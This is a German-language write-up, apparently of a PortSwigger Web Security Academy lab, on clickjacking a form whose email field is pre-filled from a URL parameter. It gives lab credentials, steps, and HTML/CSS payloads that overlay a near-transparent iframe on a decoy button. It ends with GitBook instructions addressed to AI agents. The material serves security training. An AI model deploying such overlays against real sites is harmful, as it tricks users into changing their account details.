> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/clickjacking/clickjacking-with-prefilled-form-inputs.md).

# Clickjacking mit vorbefüllten Formularfeldern über URL-Parameter

### Clickjacking mit vorausgefüllten Formulareingabedaten aus einem URL-Parameter

Ändern Sie die E-Mail-Adresse eines Benutzers, indem Sie eine Form auf der Kontoseite ausnutzen, die einen `E-Mail` Parameter in der URL akzeptiert. Der Angriff besteht darin, die Zielseite in einem `iframe` (fast unsichtbar) und das Opfer dazu zu bringen, auf ein falsches Element zu klicken: „Klick mich“ Das Lab ist gelöst, wenn die Konto-E-Mail-Adresse geändert wurde.

#### Anmeldedaten bereitgestellt

* Benutzer: `wiener`
* Passwort: `peter`
* Die Seite zur Kontoverwaltung verwendet ein CSRF-Token, aber dieses Token wird auf derselben Seite verarbeitet — es verhindert kein Update, wenn das Formular von innerhalb des `iframe` von der Ziel-Domain geladenen Inhalts.

<figure><img src="/files/ea7adab9daf04b432127d00f89b1174b0e371a2c" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/0d4fce77fc82323e5cd7add0f6576d65a4adfbd3" alt=""><figcaption></figcaption></figure>

* Es ist möglich, das E-Mail-Feld vorab zu befüllen, indem `?email=<Wert>` in der URL der `/my-account` Seite. Beispiel: `?email=jordan@test.com`.

<figure><img src="/files/7c47000a0fc75a6e6fe5f2d2237b64473d34144b" alt=""><figcaption></figcaption></figure>

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="/files/e08d35eb2a8f543c5707aa4e991e2ff6b6c57f07" alt=""><figcaption></figcaption></figure>

1. Lade die verwundbare Kontoseite in einem `iframe` durch Hinzufügen des `E-Mail` Parameter mit der Adresse, die du erzwingen möchtest.
2. Mache das `iframe` fast unsichtbar (geringe Opazität oder Positionierung), sodass es ein auf der Angriffsseite sichtbares Auslöseelement überlagert.
3. Platziere einen falschen „Klick“-Button / eine Beschriftung, auf die das Opfer klicken wird, und die räumlich mit dem echten „E-Mail aktualisieren“-Button in `iframe`.
4. Wenn das Opfer klickt, wird der Klick tatsächlich an den Formular-Button in `iframe` weitergeleitet und sendet das Formular mit der vorausgefüllten E-Mail-Adresse ab.

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 455px;
left: 80px;
}
</style>
<div>Klicken</div>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="/files/4fd04c3f4068122ae86360cb2e1d04e616c020a3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/clickjacking/clickjacking-with-prefilled-form-inputs.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
